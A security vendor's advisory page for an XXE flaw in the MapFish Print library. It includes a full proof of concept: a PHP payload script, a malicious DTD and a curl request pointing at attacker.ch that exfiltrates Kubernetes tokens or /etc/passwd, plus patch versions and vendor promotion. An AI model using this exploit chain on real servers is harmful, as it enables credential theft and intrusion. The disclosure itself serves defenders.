CVE-2026-55848 is a high-severity (CVSS 8.6) XML External Entity (XXE) vulnerability in org.mapfish.print:print-lib. O3 Security confirms whether CVE-2026-55848 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
MapFish Print has XXE that allows reading arbitrary files of certain types
Real-World Exposure
org.mapfish.print:print-lib☕org.mapfish:print.print-servlet☕org.mapfish.print:print-lib☕org.mapfish.print:print-servlet☕org.mapfish.print:print-servlet☕org.mapfish.print:print-lib☕org.mapfish.print:print-servlet☕org.mapfish.print:print-lib+1 moreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
XXE on MapFish Print allows reading arbitrary files of certain types. Eg /etc/passwd or k8 secrets and certs.
https://github.com/mapfish/mapfish-print/commit/13020c0fbc299e5f604e4e66066311c4bf04d507
Details
To trigger the XXE it is required to host a remote script and dtd file. When using the Print feature its possible to send the attacker server url as url of the gml layer.
The 404 not found path when using the gml Layer will expand the content of the file as path and throw a default 404 with the full content as path.
PoC
Host this php file somewhere as xxe.php:
<?php
$p=$_GET['p'];
$d=dirname($_SERVER['SCRIPT_NAME']);
$u=(empty($_SERVER['HTTPS'])?'http':'https')."://{$_SERVER['HTTP_HOST']}$d/evil.dtd";
header('Content-Type: application/xml');
echo "<?xml version=\"1.0\"?>
<!DOCTYPE x [
<!ENTITY % payload SYSTEM \"file://$p\">
<!ENTITY % dtd SYSTEM \"$u\">
%dtd;
]>
<wfs:FeatureCollection xmlns:wfs=\"http://www.opengis.net/wfs\" xmlns:gml=\"http://www.opengis.net/gml\">
<!-- ".str_repeat('x',200)." -->
<gml:boundedBy><gml:null>unknown</gml:null></gml:boundedBy>
</wfs:FeatureCollection>";
and beneath host this "evil.dtd"
<!ENTITY % exfil "<!ENTITY % error SYSTEM 'file:///xxe-exfil/%payload;'>"> %exfil; %error;
Now send a single curl request against your mapfish print server and include your hosted poc url as gml layer url with the path attached you would like to exfil. It will exfil /var/run/secrets/kubernetes.io/serviceaccount/token (most likely your local test setup wont have it, then just replace the path with /etc/passwd or similar plain files)
curl -sk 'https://mapfish/api/print3/print/mapviewer/buildreport.pdf' \ -H 'Content-Type: application/json' \ -d '{"layout":"1. A4 landscape","attributes":{"printDate":"a","url":"","copyright":"","qrimage":"","map":{"projection":"EPSG:2056","rotation":0,"dpi":96,"center":[2600000,1200000],"scale":100000,"layers":[{"type":"gml","url":"https://attacker.ch/xxe.php?p=/var/run/secrets/kubernetes.io/serviceaccount/token"}]}},"outputFormat":"pdf"}'
Its also noteworthy that when you use just a path with slash in the end /tmp/ for example - it will literally list the files and output this for you.
It is actually also possible to trigger an SSRF and request internal URLs if you'd change the file:// prefix in the dtd to https://
Impact
disclose local files. blind(ish) SSRF (depends on the servers response data)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.mapfish.print:print-lib | ≥ 3.0.0&&< 3.28.30 | 3.28.30 |
| ☕Maven | org.mapfish:print.print-servlet | ≥ 3.0.0&&< 3.28.30 | 3.28.30 |
| ☕Maven | org.mapfish.print:print-lib | ≥ 3.29.0&&< 3.30.32 | 3.30.32 |
| ☕Maven | org.mapfish.print:print-servlet | ≥ 3.29.0&&< 3.30.32 | 3.30.32 |
| ☕Maven | org.mapfish.print:print-servlet | ≥ 3.31.0&&< 3.31.24 | 3.31.24 |
| ☕Maven | org.mapfish.print:print-lib | ≥ 3.32.0&&< 3.33.16 | 3.33.16 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.mapfish.print:print-lib. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update org.mapfish.print:print-lib to 3.28.30 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-55848 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2026-55848 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to CVE-2026-55848. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-55848 in your dependencies?
O3 detects CVE-2026-55848 across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.